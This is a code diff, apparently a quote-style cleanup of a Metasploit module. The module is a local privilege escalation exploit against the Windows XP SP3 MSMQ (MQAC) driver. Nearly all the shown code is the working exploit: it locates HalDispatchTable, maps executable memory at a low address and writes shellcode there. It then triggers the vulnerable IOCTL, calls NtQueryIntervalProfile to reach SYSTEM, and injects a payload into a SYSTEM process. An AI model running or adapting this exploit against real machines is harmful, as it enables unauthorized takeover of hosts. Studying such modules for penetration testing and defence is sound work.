@@ -61,10 +61,10 @@ def initialize(info={})
61
61
62
62
def find_sys_base ( drvname )
63
63
session . railgun . add_dll ( 'psapi' ) if not session . railgun . dlls . keys . include? ( 'psapi' )
64
- session . railgun . add_function ( 'psapi' , 'EnumDeviceDrivers' , 'BOOL' , [ [ " PBLOB" , " lpImageBase" , " out" ] , [ " DWORD" , "cb" , "in" ] , [ " PDWORD" , " lpcbNeeded" , " out" ] ] )
65
- session . railgun . add_function ( 'psapi' , 'GetDeviceDriverBaseNameA' , 'DWORD' , [ [ " LPVOID" , " ImageBase" , "in" ] , [ " PBLOB" , " lpBaseName" , " out" ] , [ " DWORD" , " nSize" , "in" ] ] )
64
+ session . railgun . add_function ( 'psapi' , 'EnumDeviceDrivers' , 'BOOL' , [ [ ' PBLOB' , ' lpImageBase' , ' out' ] , [ ' DWORD' , 'cb' , 'in' ] , [ ' PDWORD' , ' lpcbNeeded' , ' out' ] ] )
65
+ session . railgun . add_function ( 'psapi' , 'GetDeviceDriverBaseNameA' , 'DWORD' , [ [ ' LPVOID' , ' ImageBase' , 'in' ] , [ ' PBLOB' , ' lpBaseName' , ' out' ] , [ ' DWORD' , ' nSize' , 'in' ] ] )
66
66
results = session . railgun . psapi . EnumDeviceDrivers ( 4096 , 1024 , 4 )
67
- addresses = results [ 'lpImageBase' ] [ 0 ..results [ 'lpcbNeeded' ] - 1 ] . unpack ( "L*" )
67
+ addresses = results [ 'lpImageBase' ] [ 0 ..results [ 'lpcbNeeded' ] - 1 ] . unpack ( 'L*' )
68
68
69
69
addresses . each do |address |
70
70
results = session . railgun . psapi . GetDeviceDriverBaseNameA ( address , 48 , 48 )
@@ -82,24 +82,24 @@ def find_sys_base(drvname)
82
82
# Function borrowed from smart_hashdump
83
83
def get_system_proc
84
84
# Make sure you got the correct SYSTEM Account Name no matter the OS Language
85
- local_sys = resolve_sid ( " S-1-5-18" )
85
+ local_sys = resolve_sid ( ' S-1-5-18' )
86
86
system_account_name = "#{ local_sys [ :domain ] } \\ #{ local_sys [ :name ] } "
87
87
88
88
this_pid = session . sys . process . getpid
89
89
# Processes that can Blue Screen a host if migrated in to
90
- dangerous_processes = [ " lsass.exe" , " csrss.exe" , " smss.exe" ]
90
+ dangerous_processes = [ ' lsass.exe' , ' csrss.exe' , ' smss.exe' ]
91
91
session . sys . process . processes . each do |p |
92
92
# Check we are not migrating to a process that can BSOD the host
93
- next if dangerous_processes . include? ( p [ " name" ] )
94
- next if p [ " pid" ] == this_pid
95
- next if p [ " pid" ] == 4
96
- next if p [ " user" ] != system_account_name
93
+ next if dangerous_processes . include? ( p [ ' name' ] )
94
+ next if p [ ' pid' ] == this_pid
95
+ next if p [ ' pid' ] == 4
96
+ next if p [ ' user' ] != system_account_name
97
97
return p
98
98
end
99
99
end
100
100
101
101
def open_device
102
- handle = session . railgun . kernel32 . CreateFileA ( "\\ \\ .\\ MQAC" , " FILE_SHARE_WRITE|FILE_SHARE_READ" , 0 , nil , " OPEN_EXISTING" , 0 , nil )
102
+ handle = session . railgun . kernel32 . CreateFileA ( "\\ \\ .\\ MQAC" , ' FILE_SHARE_WRITE|FILE_SHARE_READ' , 0 , nil , ' OPEN_EXISTING' , 0 , nil )
103
103
if handle [ 'return' ] == 0
104
104
print_error ( 'Failed to open the \\\\.\\MQAC device' )
105
105
return nil
@@ -110,34 +110,34 @@ def open_device
110
110
def check
111
111
handle = open_device
112
112
if handle . nil? || handle == INVALID_HANDLE_VALUE
113
- print_error ( " MSMQ installation not found" )
113
+ print_error ( ' MSMQ installation not found' )
114
114
return Exploit ::CheckCode ::Safe
115
115
end
116
116
session . railgun . kernel32 . CloseHandle ( handle )
117
117
118
- os = sysinfo [ "OS" ]
118
+ os = sysinfo [ 'OS' ]
119
119
case os
120
120
when /windows xp.*service pack 3/i
121
121
return Exploit ::CheckCode ::Appears
122
122
when /windows xp/i
123
- print_error ( "Incorrect version of Windows XP detected" )
123
+ print_error ( 'Unsupported version of Windows XP detected' )
124
124
return Exploit ::CheckCode ::Detected
125
125
else
126
126
return Exploit ::CheckCode ::Safe
127
127
end
128
128
end
129
129
130
130
def exploit
131
- if sysinfo [ " Architecture" ] =~ /wow64/i
132
- print_error ( " Running against WOW64 is not supported" )
131
+ if sysinfo [ ' Architecture' ] =~ /wow64/i
132
+ print_error ( ' Running against WOW64 is not supported' )
133
133
return
134
- elsif sysinfo [ " Architecture" ] =~ /x64/
135
- print_error ( " Running against 64-bit systems is not supported" )
134
+ elsif sysinfo [ ' Architecture' ] =~ /x64/
135
+ print_error ( ' Running against 64-bit systems is not supported' )
136
136
return
137
137
end
138
138
139
139
if is_system?
140
- print_error ( " This meterpreter session is already running as SYSTEM" )
140
+ print_error ( ' This meterpreter session is already running as SYSTEM' )
141
141
return
142
142
end
143
143
@@ -154,7 +154,7 @@ def exploit
154
154
155
155
this_proc = session . sys . process . open
156
156
unless this_proc . memory . writable? ( base_addr )
157
- session . railgun . ntdll . NtAllocateVirtualMemory ( -1 , [ 1 ] . pack ( "L" ) , nil , [ 0xffff ] . pack ( "L" ) , " MEM_COMMIT|MEM_RESERVE" , " PAGE_EXECUTE_READWRITE" )
157
+ session . railgun . ntdll . NtAllocateVirtualMemory ( -1 , [ 1 ] . pack ( 'L' ) , nil , [ 0xffff ] . pack ( 'L' ) , ' MEM_COMMIT|MEM_RESERVE' , ' PAGE_EXECUTE_READWRITE' )
158
158
end
159
159
unless this_proc . memory . writable? ( base_addr )
160
160
print_error ( 'Failed to properly allocate memory' )
@@ -164,7 +164,7 @@ def exploit
164
164
165
165
hKernel = session . railgun . kernel32 . LoadLibraryExA ( kernel_info [ 1 ] , 0 , 1 )
166
166
hKernel = hKernel [ 'return' ]
167
- halDispatchTable = session . railgun . kernel32 . GetProcAddress ( hKernel , " HalDispatchTable" )
167
+ halDispatchTable = session . railgun . kernel32 . GetProcAddress ( hKernel , ' HalDispatchTable' )
168
168
halDispatchTable = halDispatchTable [ 'return' ]
169
169
halDispatchTable -= hKernel
170
170
halDispatchTable += kernel_info [ 0 ]
@@ -192,19 +192,19 @@ def exploit
192
192
this_proc . memory . write ( 0x1 , shellcode )
193
193
this_proc . close
194
194
195
- print_status ( " Triggering vulnerable IOCTL" )
195
+ print_status ( ' Triggering vulnerable IOCTL' )
196
196
session . railgun . ntdll . NtDeviceIoControlFile ( handle , 0 , 0 , 0 , 4 , 0x1965020f , 1 , 0x258 , halDispatchTable + 0x4 , 0 )
197
197
result = session . railgun . ntdll . NtQueryIntervalProfile ( 1337 , 4 )
198
198
199
199
unless is_system?
200
- print_error ( " Exploit failed" )
200
+ print_error ( ' Exploit failed' )
201
201
return
202
202
end
203
203
204
204
proc = get_system_proc
205
205
print_status ( "Injecting the payload into SYSTEM process: #{ proc [ 'name' ] } " )
206
206
unless execute_shellcode ( payload . encoded , nil , proc [ 'pid' ] )
207
- fail_with ( Failure ::Unknown , " Error while executing the payload" )
207
+ fail_with ( Failure ::Unknown , ' Error while executing the payload' )
208
208
end
209
209
end
210
210
0 commit comments